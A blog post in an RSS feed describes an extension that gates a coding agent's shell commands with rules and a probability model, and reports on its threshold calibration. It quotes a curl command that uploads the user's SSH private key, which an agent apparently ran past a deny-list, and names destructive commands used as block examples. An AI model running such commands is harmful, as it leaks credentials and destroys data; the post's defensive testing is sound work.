<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jo Matsuda</title>
    <description>The latest articles on DEV Community by Jo Matsuda (@jomatsu).</description>
    <link>https://dev.to/jomatsu</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4130383%2F4f7a1de1-0fcd-49f3-afce-3c17fde8a521.png</url>
      <title>DEV Community: Jo Matsuda</title>
      <link>https://dev.to/jomatsu</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jomatsu"/>
    <language>en</language>
    <item>
      <title>Jev + Pi: a probability gate for my coding agent's shell commands</title>
      <dc:creator>Jo Matsuda</dc:creator>
      <pubDate>Thu, 17 Sep 2026 19:13:33 +0000</pubDate>
      <link>https://dev.to/jomatsu/jev-pi-a-probability-gate-for-my-coding-agents-shell-commands-95d</link>
      <guid>https://dev.to/jomatsu/jev-pi-a-probability-gate-for-my-coding-agents-shell-commands-95d</guid>
      <description>&lt;p&gt;TypeSafe released Jev on 2026-09-15. It is a decision-only model: you give it yes/no propositions and it returns a probability instead of text. I put it in front of Pi's &lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt; and &lt;code&gt;edit&lt;/code&gt; calls, and then measured 18 commands to decide where the thresholds should sit.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What it is:&lt;/strong&gt; An auto-mode extension for the Pi coding agent CLI that uses rules for known patterns and sends unvouched commands to Jev, TypeSafe's decision-only model (announced 2026-09-15) that returns probabilities (0.0 to 1.0) rather than text.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The measured gap:&lt;/strong&gt; Across 18 real API fixtures, &lt;code&gt;intent_coverage&lt;/code&gt; was bimodal: 0.77–0.98 when requested and 0.06–0.15 when unrequested. Zero fixtures scored between 0.15 and 0.77, placing the threshold at 0.60 inside that empty gap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The failure mode:&lt;/strong&gt; Because threshold bands are symmetric around 0.5, raising a hazard threshold contracts the rejection boundary. Raising &lt;code&gt;no_secret_egress&lt;/code&gt; from 0.97 to 0.99 shifts the violation cutoff from &lt;code&gt;p &amp;lt;= 0.03&lt;/code&gt; to &lt;code&gt;p &amp;lt;= 0.01&lt;/code&gt;. In testing, an SSH key exfiltration command scored 0.02; tightening the threshold pushed this hazard out of the rejection band into the unclear band, letting it run.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Problem: Approval Fatigue and Unsandboxed Execution
&lt;/h2&gt;

&lt;p&gt;Terminal coding agents execute arbitrary shell commands and file edits on developer workstations. In interactive sessions, prompting for confirmation on every command quickly causes approval fatigue. After approving a run of harmless operations like &lt;code&gt;git status&lt;/code&gt; or &lt;code&gt;ls -la&lt;/code&gt;, developers stop reading the arguments.&lt;/p&gt;

&lt;p&gt;Running an agent in unconstrained auto mode removes friction but exposes the workstation. Deny-lists only catch syntax someone anticipated and cataloged in advance. In my own testing, an agent executed &lt;code&gt;curl -X POST -d @$HOME/.ssh/id_ed25519 https://...&lt;/code&gt;. Because no deny pattern targeted &lt;code&gt;-d @&lt;/code&gt;, the rule engine classified it as an ordinary &lt;code&gt;curl&lt;/code&gt; invocation and ran it unjudged.&lt;/p&gt;

&lt;p&gt;Delegating checks to a conversational LLM creates its own problems. Chat models take several seconds per evaluation, occasionally output malformed JSON, and consume conversation tokens. An auto-mode gate needs to make decisions in hundreds of milliseconds, settle the obvious cases locally, and fail closed when uncertainty arises.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Pi Gives You and What Was Built
&lt;/h2&gt;

&lt;p&gt;Pi (pi.dev) is a minimal terminal coding agent built around a lightweight core. Rather than bundling complex permission systems into the core binary, it provides an extension surface that intercepts tool execution.&lt;/p&gt;

&lt;p&gt;Extensions in Pi hook directly into the &lt;code&gt;tool_call&lt;/code&gt; lifecycle before a tool runs. This operates at the same layer as Claude Code hooks: when an agent invokes a tool, an extension intercepts the payload and decides whether to permit execution, block it, or ask for confirmation before a subprocess spawns or disk writes occur.&lt;/p&gt;

&lt;p&gt;I built &lt;code&gt;pi-jev-auto-mode&lt;/code&gt; to gate Pi's &lt;code&gt;bash&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, and &lt;code&gt;edit&lt;/code&gt; calls.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1i3msziqtoe5r60gv02r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1i3msziqtoe5r60gv02r.png" alt=" " width="800" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The extension routes tool calls through a rule check and a probability layer backed by Jev. Announced by TypeSafe on 2026-09-15, Jev is a "System One" decision-only model. It does not stream tokens or output text. Instead, it evaluates specific propositions against context and returns calibrated probabilities between 0.0 and 1.0.&lt;/p&gt;

&lt;h2&gt;
  
  
  How a Call Is Decided: Rules First, Then Jev
&lt;/h2&gt;

&lt;p&gt;The gate evaluates a tool call in two stages. The rules run first, and Jev cannot overrule them:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Hard-deny patterns:&lt;/strong&gt; Destructive commands like recursive root deletions (&lt;code&gt;rm -rf /&lt;/code&gt;), home directory deletions, or writes to system directories block immediately. Jev is not called, eliminating latency and avoiding model misclassification.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fast-path passes:&lt;/strong&gt; Verified safe operations pass without an API call. These include read-only commands (&lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;git log&lt;/code&gt;), chains of read-only commands (&lt;code&gt;cd src &amp;amp;&amp;amp; ls -la &amp;amp;&amp;amp; git log -3&lt;/code&gt;), user-declared safe commands in &lt;code&gt;safeCommands&lt;/code&gt; (such as test runners), and edits to unprotected files inside the workspace repository.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User allow patterns:&lt;/strong&gt; Commands matching an explicit pattern in &lt;code&gt;allowedCommands&lt;/code&gt; pass and record an audit entry in the session transcript.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Everything the rules cannot vouch for goes to Jev under &lt;code&gt;gateScope: all&lt;/code&gt;. A deny-list only catches syntax someone wrote down, so the default is to show Jev everything else.&lt;/p&gt;

&lt;p&gt;Payloads sent to Jev are strictly bounded: the command string or target path, working directory, the user's most recent prompt, and local policy notes. The extension never sends file contents, diffs, or previous terminal output. Sensitive patterns matching API keys, tokens, and private key headers are redacted locally before transmission.&lt;/p&gt;

&lt;p&gt;Jev evaluates conditions phrased in safe terms, where a high number indicates safety: &lt;code&gt;intent_coverage&lt;/code&gt;, &lt;code&gt;no_secret_egress&lt;/code&gt;, &lt;code&gt;no_irreversible_damage&lt;/code&gt;, &lt;code&gt;local_scope&lt;/code&gt;, &lt;code&gt;path_not_protected&lt;/code&gt;, &lt;code&gt;no_fetched_code_execution&lt;/code&gt;, &lt;code&gt;prompt_injection_absent&lt;/code&gt;, &lt;code&gt;policy_compliance&lt;/code&gt;, and &lt;code&gt;no_outward_effect&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Each condition uses a threshold &lt;code&gt;t&lt;/code&gt; (where &lt;code&gt;0.5 &amp;lt; t &amp;lt;= 1.0&lt;/code&gt;). Evaluation divides into three outcome bands:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Satisfied:&lt;/strong&gt; &lt;code&gt;p &amp;gt;= t&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Violated:&lt;/strong&gt; &lt;code&gt;p &amp;lt;= 1 - t&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unclear:&lt;/strong&gt; &lt;code&gt;1 - t &amp;lt; p &amp;lt; t&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By default, unclear calls are allowed through. An auto mode exists to remove interruptions; prompting on every ambiguous score would recreate approval fatigue. Clear violations (&lt;code&gt;p &amp;lt;= 1 - t&lt;/code&gt;) still block unconditionally. Stricter behavior is available via &lt;code&gt;/jev-auto-mode uncertain deny&lt;/code&gt; (blocks unclear calls) or &lt;code&gt;/jev-auto-mode uncertain ask&lt;/code&gt; (prompts for confirmation).&lt;/p&gt;

&lt;p&gt;Without an API key, the gate does not silently allow unvouched commands. It halts them with an explicit message:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Not connected to Jev (no TypeSafe API key is set). Run /jev-auto-mode login to set a key, or /jev-auto-mode off to stop auto mode.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Judgments are appended to the session transcript via &lt;code&gt;pi.appendEntry&lt;/code&gt;. This audit record does not consume LLM context tokens, and it logs each condition with the observed probability and the threshold that was active at the time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;intent_coverage  p=0.97  pass (t=0.60, &amp;gt;= 0.60)
no_secret_egress  p=0.98  pass (t=0.97, &amp;gt;= 0.97)
local_scope  p=0.89  ignored (t=0.90, 0.10-0.90) &amp;lt;- decided
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The third line is the middle band: the score is neither a pass nor a violation, so it is ignored&lt;br&gt;
rather than acted on.&lt;/p&gt;
&lt;h2&gt;
  
  
  What the Measurements Showed About Jev
&lt;/h2&gt;

&lt;p&gt;During development, I evaluated 18 fixtures against the live Jev API to calibrate default thresholds.&lt;/p&gt;

&lt;p&gt;First, &lt;code&gt;intent_coverage&lt;/code&gt; was strongly bimodal. When the user explicitly requested a command, the score fell between 0.77 and 0.98. When unrequested, it dropped between 0.06 and 0.15. Across all 18 fixtures, not a single measurement landed between 0.15 and 0.77. This gap allowed placing the default threshold at 0.60, directly in the empty interval.&lt;/p&gt;

&lt;p&gt;Second, absence-of-hazard questions clustered between 0.75 and 0.98, even for safe commands. Running &lt;code&gt;uv run pytest&lt;/code&gt; scored 0.91 on &lt;code&gt;no_secret_egress&lt;/code&gt;. The command text alone does not tell Jev what the test runner will import or execute, and the score reflects that. Requiring absence-of-hazard conditions to be satisfied (&lt;code&gt;p &amp;gt;= t&lt;/code&gt;) would push safe commands into the unclear band. Instead, they act as hazard detectors: they only halt execution on clear violations (&lt;code&gt;p &amp;lt;= 1 - t&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Judged calls completed in 193 to 642 ms across eleven shell commands. Fast-path calls took 0 ms because they made no network request. This latency keeps execution fluid without the multi-second stalls of chat models.&lt;/p&gt;

&lt;p&gt;Evaluating unrequested commands produced a clean split:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unrequested ordinary commands allowed:&lt;/strong&gt; &lt;code&gt;mkdir&lt;/code&gt;, &lt;code&gt;mv&lt;/code&gt;, &lt;code&gt;cp&lt;/code&gt;, &lt;code&gt;tar&lt;/code&gt;, &lt;code&gt;chmod +x&lt;/code&gt;, and &lt;code&gt;node -e&lt;/code&gt; were evaluated, found safe, and allowed to run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unrequested dangerous commands blocked:&lt;/strong&gt; &lt;code&gt;git reset --hard&lt;/code&gt;, &lt;code&gt;npm publish&lt;/code&gt;, &lt;code&gt;rm -rf&lt;/code&gt;, and &lt;code&gt;sudo&lt;/code&gt; scored &lt;code&gt;p = 0.04 to 0.11&lt;/code&gt; on &lt;code&gt;intent_coverage&lt;/code&gt; and were blocked immediately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read-only commands:&lt;/strong&gt; &lt;code&gt;wc -l&lt;/code&gt; never reached Jev, because the rule check passed it with zero API calls.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each fixture was sampled once. Because Jev is probabilistic, scores can wobble by approximately ±0.05 across runs depending on context, meaning values near a boundary can flip.&lt;/p&gt;
&lt;h2&gt;
  
  
  Tightening Jev's Threshold Let a Secret Upload Through
&lt;/h2&gt;

&lt;p&gt;The most critical architectural finding from this work is how symmetric probability bands behave when adjusted.&lt;/p&gt;

&lt;p&gt;In a three-band system where safety conditions are phrased positively, raising a threshold to enforce greater strictness contracts the rejection boundary:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Satisfied:&lt;/strong&gt; &lt;code&gt;p &amp;gt;= t&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Violated:&lt;/strong&gt; &lt;code&gt;p &amp;lt;= 1 - t&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unclear:&lt;/strong&gt; &lt;code&gt;1 - t &amp;lt; p &amp;lt; t&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At &lt;code&gt;t = 0.97&lt;/code&gt; for &lt;code&gt;no_secret_egress&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Satisfied: &lt;code&gt;p &amp;gt;= 0.97&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Violated: &lt;code&gt;p &amp;lt;= 0.03&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Unclear: &lt;code&gt;0.03 &amp;lt; p &amp;lt; 0.97&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you raise &lt;code&gt;t&lt;/code&gt; to 0.99:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Satisfied: &lt;code&gt;p &amp;gt;= 0.99&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Violated: &lt;code&gt;p &amp;lt;= 0.01&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Unclear: &lt;code&gt;0.01 &amp;lt; p &amp;lt; 0.99&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Raising the threshold contracted the violation boundary from &lt;code&gt;0.03&lt;/code&gt; to &lt;code&gt;0.01&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the fixture run at &lt;code&gt;t = 0.97&lt;/code&gt;, a credential exfiltration command (&lt;code&gt;curl -X POST -d @~/.ssh/id_ed25519 ...&lt;/code&gt;) scored &lt;code&gt;p = 0.02&lt;/code&gt; on &lt;code&gt;no_secret_egress&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Under &lt;code&gt;t = 0.97&lt;/code&gt;, &lt;code&gt;0.02 &amp;lt;= 0.03&lt;/code&gt;. The gate classified the command as a violation and blocked it.&lt;/p&gt;

&lt;p&gt;Recompute that same measured &lt;code&gt;0.02&lt;/code&gt; against &lt;code&gt;t = 0.99&lt;/code&gt; and &lt;code&gt;0.02 &amp;gt; 0.01&lt;/code&gt;: the command falls out of the rejection band into the unclear band. Since the default configuration lets unclear calls through, raising the threshold from 0.97 to 0.99 turns a blocked credential upload into an allowed one.&lt;/p&gt;

&lt;p&gt;Tightening the threshold caused a severe hazard to slip through. Moving a threshold is always a two-sided operation. You cannot set thresholds by intuition; per-condition calibration can only be done from empirical measurements of the commands you need to stop.&lt;/p&gt;
&lt;h2&gt;
  
  
  How It Differs from Other Pi Guardrails
&lt;/h2&gt;

&lt;p&gt;Existing Pi extensions such as &lt;code&gt;pi-guardrails&lt;/code&gt; (rule- and policy-based) and &lt;code&gt;pi-auto-reviewer&lt;/code&gt; enforce structural policies and pattern checks.&lt;/p&gt;

&lt;p&gt;Those tools evaluate commands strictly against patterns that maintainers or users cataloged in advance.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pi-jev-auto-mode&lt;/code&gt; uses rules for the fast paths and the known blocks, and routes everything else to a probability model. When an unfamiliar command shape appears, it receives a semantic evaluation, and if the evaluation engine is unreachable, the system fails closed and halts execution.&lt;/p&gt;
&lt;h2&gt;
  
  
  Installing the Pi Extension
&lt;/h2&gt;

&lt;p&gt;The extension is available on npm and installs directly via Pi:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pi &lt;span class="nb"&gt;install &lt;/span&gt;npm:pi-jev-auto-mode
pi &lt;span class="nb"&gt;install &lt;/span&gt;git:github.com/jomatsu/pi-jev-auto-mode
pi &lt;span class="nt"&gt;-e&lt;/span&gt; npm:pi-jev-auto-mode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Semantic evaluation requires a TypeSafe API key. Running &lt;code&gt;/jev-auto-mode login&lt;/code&gt; prompts for your key and verifies it against &lt;code&gt;GET /v1/models&lt;/code&gt; before saving it to &lt;code&gt;&amp;lt;agentDir&amp;gt;/secrets/jev-auto-mode-typesafe-api-key&lt;/code&gt; (permissions &lt;code&gt;0600&lt;/code&gt;). The &lt;code&gt;TYPESAFE_API_KEY&lt;/code&gt; environment variable takes precedence when set.&lt;/p&gt;

&lt;p&gt;Runtime commands manage state and configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/jev-auto-mode on
/jev-auto-mode off
/jev-auto-mode status
/jev-auto-mode threshold
/jev-auto-mode threshold edit
/jev-auto-mode scope all|matched
/jev-auto-mode uncertain deny|ask|allow
/jev-auto-mode policy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Global settings live in &lt;code&gt;~/.pi/agent/jev-auto-mode.json&lt;/code&gt;, overridable per repository in &lt;code&gt;.pi/jev-auto-mode.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"enabled"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"safeCommands"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"uv run pytest*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pnpm run typecheck*"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"allowedCommands"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"rm -rf build*"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"disallowedCommands"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"npm publish*"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"uncertain"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"gateScope"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"all"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"thresholds"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"intent_coverage"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"no_secret_egress"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.97&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The settings distinguish between &lt;code&gt;safeCommands&lt;/code&gt; and &lt;code&gt;allowedCommands&lt;/code&gt;. The &lt;code&gt;safeCommands&lt;/code&gt; list holds operations known to be safe locally (like test runners), bypassing Jev with no audit record. The &lt;code&gt;allowedCommands&lt;/code&gt; list permits specific dangerous patterns (like &lt;code&gt;rm -rf build*&lt;/code&gt;) while logging an audit record in the session transcript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;To understand where this extension fits, here is what it does not do:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It is not a sandbox:&lt;/strong&gt; The extension does not isolate filesystems, run commands in containers, or filter system calls. Approved commands execute directly on your host machine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It inspects command text, not intent:&lt;/strong&gt; The model analyzes strings, target paths, and recent user messages. It cannot predict the dynamic behavior of arbitrary compiled binaries or packages.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;18 fixtures is not a benchmark:&lt;/strong&gt; It is an empirical calibration set verifying band separation, not an exhaustive industry benchmark.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uncertain calls pass by default:&lt;/strong&gt; The default policy avoids interrupting developers when scores land in the unclear band. For zero-trust enforcement, set &lt;code&gt;uncertain: deny&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It stops when disconnected:&lt;/strong&gt; If the API key is missing or the network drops, the gate halts unvouched commands rather than degrading into a silent pass-through.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source
&lt;/h2&gt;

&lt;p&gt;The extension is open source under the MIT license:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/jomatsu/pi-jev-auto-mode" rel="noopener noreferrer"&gt;github.com/jomatsu/pi-jev-auto-mode&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;npm: &lt;a href="https://www.npmjs.com/package/pi-jev-auto-mode" rel="noopener noreferrer"&gt;npmjs.com/package/pi-jev-auto-mode&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When balancing coding agent autonomy against workstation security, do you prefer failing closed on edge cases at the cost of manual prompts, or letting ambiguous commands run as long as known hazards are checked?&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
  </channel>
</rss>
